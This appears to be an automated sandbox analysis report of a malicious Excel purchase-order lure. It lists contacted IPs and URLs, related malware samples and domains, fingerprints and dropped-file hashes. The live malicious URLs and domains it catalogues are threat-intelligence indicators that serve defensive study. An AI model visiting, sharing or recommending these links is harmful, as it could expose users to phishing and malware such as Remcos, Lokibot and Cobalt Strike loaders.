s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://acesso.run/wMyYAg?&morsel=bewildered&bifocals=oafish&egg	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.162.95	acesso.run	United States	13335	CLOUDFLARENETUS	false
107.175.130.36	unknown	United States	36352	AS-COLOCROSSINGUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544844
Start date and time:	2024-10-29 20:36:01 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NUEVA ORDEN DE COMPRA 73244.xla.xlsx
Detection:	MAL
Classification:	mal60.expl.winXLSX@6/24@1/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.109.76.243, 184.28.90.27, 52.113.194.132, 217.20.57.34, 20.189.173.13, 52.109.28.46, 20.189.173.10
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, weu-azsc-config.officeapps.live.com, eur.roaming1.live.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, neu-azsc-000.roaming.officeapps.live.com, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, onedscolprdwus12.westus.cloudapp.azure.com, s-0005.s-msedge.net, config.officeapps.live.com, onedscolprdwus09.westus.clouda
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NUEVA ORDEN DE COMPRA 73244.xla.xlsx

Simulations

Behavior and APIs

Time	Type	Description
15:38:08	API Interceptor	798x Sleep call for process: splwow64.exe modified

LLM Input / Output

Input	Output
URL: Office document Model: claude-3-haiku-20240307	```json { "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: Office document Model: claude-3-haiku-20240307	```json { "brands": [ "Byzid Apparels (Pvt) Ltd." ] }
	```json { "brands": [ "Byzid Apparels (Pvt) Ltd." ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.162.95	0001.xls	Get hash	malicious	Remcos	Browse
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse
	Order-1351125X.docx.doc	Get hash	malicious	FormBook	Browse
	2MbHBiqXH2.rtf	Get hash	malicious	RedLine	Browse
	Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc	Get hash	malicious	RedLine	Browse
	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse
	Kobe 045EX07227 CLG6739.docx.doc	Get hash	malicious	Unknown	Browse
	PROFORMAXINVOICE.docx.doc	Get hash	malicious	Lokibot	Browse
	MV HTK Lavender.doc	Get hash	malicious	Lokibot	Browse
	PUO.docx.doc	Get hash	malicious	HTMLPhisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
acesso.run	0001.xls	Get hash	malicious	Remcos	Browse	172.67.162.95
acesso.run	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	172.67.162.95
s-part-0017.t-0009.t-msedge.net	0lZVVpUeGt.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	6fG7gRJOOR.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	13.107.246.45
	Wcan4j2ldm.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	iK9pj4aPIU.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	jIcqgmCcrZ.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	13.107.246.45
	Q3kUbU2aJq.dll	Get hash	malicious	Unknown	Browse	13.107.246.45
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse	84.201.210.37
	https://forms.office.com/Pages/ShareFormPage.aspx?id=w0PqEzPG80GlVpQ2KYlCgotli86l81ZCgGQV0R07kYhUMDlNVzY4TDhNS0pGV0pGVENBVVNGTURFTi4u&sharetoken=3AKcsZjmxuGhgr7rDwU0	Get hash	malicious	Unknown	Browse	84.201.210.21
	https://deedayoshayoatmetoback.me/whatever/toni/kross/hala/mbappe/sanchez/mark/tremble/awee/rgguuu/us/invite/	Get hash	malicious	Unknown	Browse	217.20.57.26
	https://workdrive.zohoexternal.com/file/d3qaw4673940b54374623b165953068c580b5	Get hash	malicious	HTMLPhisher	Browse	217.20.57.25
	https://abre.ai/lmHC	Get hash	malicious	Unknown	Browse	84.201.210.18
	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse	217.20.57.35
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:91f62fbc-7621-46ca-93fe-fff80a9adcde	Get hash	malicious	Unknown	Browse	217.20.57.18
	setup.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	https://1drv.ms/o/c/dfbe417e0dc15e08/Esl_LBLy3yNEou5UFJ-QxnIBMGmncz8uv1GwgEHKevm1cw?e=C2cldF	Get hash	malicious	Unknown	Browse	217.20.57.19
	https://dl.dropboxusercontent.com/scl/fi/95is2w1ywjvorzayt88dp/DKM-0192PDF.zip?rlkey=svoej4s4tb5lwbnvthtgrmokl&st=d99zdn1k&dl=0	Get hash	malicious	Abobus Obfuscator	Browse	217.20.57.34

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	20.157.217.118
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse	20.190.160.17
	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	20.96.153.111
	SystemMechanicUltimateDefense_DM.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	20.157.87.45
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	134.170.135.112
	jew.x86.elf	Get hash	malicious	Mirai	Browse	104.40.28.50
AS-COLOCROSSINGUS	0001.xls	Get hash	malicious	Remcos	Browse	192.3.101.193
	seemybestthingwhichigiventouformakebestappinesswogiven.hta	Get hash	malicious	Cobalt Strike	Browse	192.3.101.21
	niceworkingthingswithgreatthingsevengetbackwithgoodnews.hta	Get hash	malicious	Cobalt Strike, GuLoader, HTMLPhisher	Browse	107.175.113.214
	bestintercomthingswhichgivebestthingstogetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	192.3.101.8
	seethebestthignswhichgivingbestthingstogetmakeuveryhappy.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	198.46.178.155
	goodthingsbestviewtoseethebetterthingswithmygirlfriend.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	192.3.101.21
	1730205125e17c77fd100fac247e845e0d35eb80fd3ed2b798c588796b720ffad142a2b233827.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.193
	greatthingsalwayshappeningwithgreatattitudewithgoodnews.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	198.46.178.155
	goodthingstoapprovethebestwaytounderstandhowmuchgood.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	198.46.178.155
CLOUDFLARENETUS	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Electronic_Receipt_ATT0001.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	188.114.96.3
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	104.26.4.39
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	104.21.22.3
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	HTMLPhisher	Browse	104.21.17.93
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	104.18.65.57
	file.exe	Get hash	malicious	LummaC	Browse	172.67.180.76

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://mhmgc.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://dartergary.wordpress.com/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3Jn	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://7654658765888767.azurefd.net/mt92C	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://forthedoglover.com/Ray-verify.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.45
	https://massgrave.dev/get	Get hash	malicious	Unknown	Browse	13.107.246.45
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
6271f898ce5be7dd52b0fc260d0662b3	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	172.67.162.95
	https://forthedoglover.com/Ray-verify.html	Get hash	malicious	Unknown	Browse	172.67.162.95
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	172.67.162.95
	http://url5148.librariapena.com/ls/click?upn=u001.GicqFEndYG5aFpuN1ngPufTfXrsQ9xNlNirpytR4MM9aBsYYFODsiAPftWqmKpvrE6ff_B2fWkfszhSflnL0HA3FnQqEKk1HJkizy-2Fud2LEQeI5aha2K2G6ppF2O0bL7D7H7LMN8WGu5xRF2M8uaTM6MXf6DAMaADWmIUL1YqZWKrQh1g-2F0n0cxV2mRrNZEteUwfW5DOdClcZ0c7E-2FIhACBFYnzvVFSnfSt3CZCN7P1EL1QyPVm42KBQGCDp3btvtG-2BbRJha-2FOyJXx-2BDZbno3l2jsvw-2FwkacYeoKE0uINsamNbg0rV0A52QCvn7k6VYTShXjbi9u51Z787-2F01bX1DTA9aSBSP-2FWMLEspaU-2FIdc1x-2FmRDSh7t6BQtQAtVlDsdci-2FkdE5XEzXcy1T7RT1mRx0Z8c0C7T5TxNvH7MOJLp-2BPx4LTMm4cKm4w-2Br4av4rqX3sFI-2B0Z54CPJjpfmgkQpOwbMxDkpsmVoLcKhd8rV7DcMtFguJaotRS3nEWM4vOO-2FegVGhzrwPBH6NjA2esFflr-2FYmA56ZztqyuVYNkq6vFbZhu3qpImgcxi-2BBybDKRWWCy9ZJhz5kW6d7c5iFMdA14shvBlO5oteNsOg1T8Wcd4MIJllivR5RQLa6JKyKUfgK8kF9DoOU4JGzocfITKQs9Z05ET92-2FS1aC5wu-2FuyffXQ4VOTrXPB9d3zUlvAaEdOc87CGa5e4y4lu-2F-2B9njpJqjlihSLoXPx3uHJhhT5l60Eu-2Fd0OnNMVN2uGoOn8P4Kyfxcr-2B3atbrIS84kkAo7VV7ElDHFn2Wn-2B0iZqwoFL1t1YCz2cR3xAkH3Dm45o7ag9bF7tv0L4g2t8v1fAwuiPylHAHkqFOEcwcDndKNNLE7ObrCi0wDxBijc-2FYVZU6-2F0yIfBAmiocABK2NEl2-2F-2FPMERnDYg-3D-3D	Get hash	malicious	HTMLPhisher	Browse	172.67.162.95
	https://u.to/Ipn6IA	Get hash	malicious	Unknown	Browse	172.67.162.95
	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/index.html#'+tFjvjBPh,document%5B'body'%5D%5B'appendChild'%5D(para)	Get hash	malicious	Unknown	Browse	172.67.162.95
	ST007 SWIFT CONFIRMATION.xls	Get hash	malicious	Unknown	Browse	172.67.162.95
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	172.67.162.95
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	172.67.162.95
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	172.67.162.95
a0e9f5d64349fb13191bc781f81f42e1	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	burlar al diablo napoleon hill pdf.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	buNtKcYHCa.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	338
Entropy (8bit):	3.4679554894199565
Encrypted:	false
SSDEEP:	6:kKGbzy81SPiJFN+SkQlPlEGYRMY9z+s3Ql2DUevat:eaw0BkPlE99SCQl2DUevat
MD5:	57B337EE2C9C79DF03FEC14E62872A10
SHA1:	6940B2DE80F81069F5A40B8121F319BC426BE99B
SHA-256:	E8CC418E58B2DD62B039741707DF238A812588FD6867B1D69650546F8FCFA041
SHA-512:	DF483EBEA94A5CD4E6BDE0E15B697CF249827E28CC249CCE2B7F0299C1427B118B640B1A71D0E0D5AD8279297B461C50ADE6DFA149A9A40312F57D1F900D4111
Malicious:	false
Reputation:	low
Preview:	p...... ............9*..(................................................-.@... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	243196
Entropy (8bit):	3.3450692389394283
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwgqErRo+RQn:yPClJ/3AYvYwghFo+RQn
MD5:	F5567C4FF4AB049B696D3BE0DD72A793
SHA1:	EBEADDE9FF0AF2C201A5F7CC747C9EA61CFA6916
SHA-256:	D8DBFE71873929825A420F73821F3FF0254D51984FAAA82E1B89D31188F77C04
SHA-512:	E769735991E5B1331E259608854D00CDA4F3E92285FDC500158CBD09CBCCEAD8A387F78256A43919B13EBE70C995D19242377C315B0CCBBD4F813251608C1D56
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	836
Entropy (8bit):	2.7151910322565733
Encrypted:	false
SSDEEP:	24:J3fIxk+vpKAk6ScvoGA8xpiOnAvJ5yoIHWK:h3+RfkpcvoGAYcvJ5LIHD
MD5:	92A7E6E963E0E668F6585E8694F68380
SHA1:	9CFB8F0EA9A80C54FEBF664E2E8DA3A20C6F5DAE
SHA-256:	F09EE04026948847263A11CC3D3276A676246EF074A985681DBEF03D76801482
SHA-512:	F3E94DC16458B4CE76A18D44360256A233CDF918A34FDB0AB3A85AF5FA3ADEB8B0BBB173CE658D8344939FE77AEB467C04D111A887424A65BA2833897DE3F4E2
Malicious:	false
Reputation:	low
Preview:	1.1.9.,.1.2.5.,.2.5.5.0.5.0.8.8.,.1.1.9.6.3.7.8.,.3.7.4.6.3.7.6.,.1.7.8.8.6.5.8.,.7.0.0.9.9.8.4.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.2.3.7.1.6.5.1.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.1.1.1.1.,.6.3.6.4.3.3.7.,.1.0.0.1.,.6.5.4.0.2.1.5.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.2.4.6.0.9.2.5.8.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.6.3.7.1.6.9.4.,.2.7.1.5.3.4.9.7.,.5.9.2.2.3.4.2.3.,.1.5.6.1.9.5.8.,.5.7.9.9.9.6.6.1.,.5.8.4.2.5.8.6.0.,.2.7.3.6.0.0.9.5.,.6.3.0.6.3.0.9.9.,.6.3.6.4.3.3.0.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.1.6.5.7.4.5.3.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.2.,.1.0.6.9.5.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.7.7.1.6.5.7.,.1.3.5.2.5.8.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.3.2.0.5.9.2.7.6.7.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.1.1.9.6.2.9.3.,.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\37744DC8.emf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	948620
Entropy (8bit):	4.308883748167098
Encrypted:	false
SSDEEP:	6144:i/eKzSMB4vzO9MUsuURqajdMipDi653k7GfuW8rDrvw1:6mMuLedbURLxFvdLfuG
MD5:	25273D4AC5991CA70237FE67E860419F
SHA1:	13FB5267945B41369F12E381E4D5B4B26D111C90
SHA-256:	C7ADF71E9EBC8C437E0F17B8BA360825A9E8BF37A69A85E4003814B682C00663
SHA-512:	40AF4C81BC7136EC24BF7A2CA5C35F2DCEFDA6CE231F031CC40D112BE3D07618B1A29F56123CC203E898BC1B89AC6BA20EFF58EBDA66A4B5F31C7B0DC4C13950
Malicious:	false
Preview:	....l............................`..... EMF.....y..G...0.......................S......................U"..F...,... ...EMF+.@..................`...`...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........!......."...........!......."...........................!.......%.......................................................................%...........%...........K..............."...........!.......................................................K..............."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.................P.....%.....................P.............L...d.......1.......Z.......1.......*...!..............?...........?................................R...p.................................. C.a.l.i.b.r.i...........

